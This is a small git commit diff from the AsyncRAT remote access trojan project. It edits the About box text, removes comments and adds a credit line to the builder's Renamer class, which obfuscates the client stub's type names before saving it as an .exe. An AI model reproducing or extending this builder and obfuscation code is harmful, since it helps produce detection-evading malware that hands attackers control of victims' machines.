This commit is contained in:
NYAN CAT 2019-05-07 21:04:25 -07:00
parent 29f00e07ad
commit 1c22b0b2c4
4 changed files with 7 additions and 24 deletions

View File

@ -42,16 +42,18 @@
this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true; this.richTextBox1.ReadOnly = true;
this.richTextBox1.ShortcutsEnabled = false; this.richTextBox1.ShortcutsEnabled = false;
this.richTextBox1.Size = new System.Drawing.Size(526, 253); this.richTextBox1.Size = new System.Drawing.Size(526, 182);
this.richTextBox1.TabIndex = 0; this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = resources.GetString("richTextBox1.Text"); this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" +
"ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" +
"ional purposes only.\n\n";
this.richTextBox1.ZoomFactor = 1.1F; this.richTextBox1.ZoomFactor = 1.1F;
// //
// FormAbout // FormAbout
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(526, 253); this.ClientSize = new System.Drawing.Size(526, 182);
this.Controls.Add(this.richTextBox1); this.Controls.Add(this.richTextBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false; this.MaximizeBox = false;

View File

@ -117,18 +117,6 @@
<resheader name="writer"> <resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader> </resheader>
<data name="richTextBox1.Text" xml:space="preserve">
<value>
│ Author : NYAN CAT
│ Name : AsyncRAT © 2019
│ Contact : github.com/NYAN-x-CAT
This program is distributed for educational purposes only.
#Credits;
MessagePack @ymofen
StreamLibrary @Dergan</value>
</data>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" /> <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value> <value>

View File

@ -36,7 +36,6 @@ namespace AsyncRAT_Sharp.Forms
if (!r.Perform()) if (!r.Perform())
throw new Exception("renaming failed"); throw new Exception("renaming failed");
// PHASE 3 - Saving
using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) using (SaveFileDialog saveFileDialog1 = new SaveFileDialog())
{ {
saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.Filter = ".exe (*.exe)|*.exe";

View File

@ -8,11 +8,9 @@ using System.Threading.Tasks;
namespace AsyncRAT_Sharp.Helper namespace AsyncRAT_Sharp.Helper
{ {
//creadit Quasar.Server/Build/Renamer.cs
public class Renamer public class Renamer
{ {
/// <summary>
/// Contains the assembly definition.
/// </summary>
public AssemblyDefinition AsmDef { get; set; } public AssemblyDefinition AsmDef { get; set; }
private int Length { get; set; } private int Length { get; set; }
@ -36,10 +34,6 @@ namespace AsyncRAT_Sharp.Helper
_eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>(); _eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
} }
/// <summary>
/// Attempts to modify the assembly definition data.
/// </summary>
/// <returns>True if the operation succeeded; False if the operation failed.</returns>
public bool Perform() public bool Perform()
{ {
try try
@ -58,7 +52,7 @@ namespace AsyncRAT_Sharp.Helper
private void RenameInType(TypeDefinition typeDef) private void RenameInType(TypeDefinition typeDef)
{ {
if (!typeDef.Namespace.StartsWith("Client") /* || typeDef.HasInterfaces */) if (!typeDef.Namespace.StartsWith("Client"))
return; return;
_typeOverloader.GiveName(typeDef); _typeOverloader.GiveName(typeDef);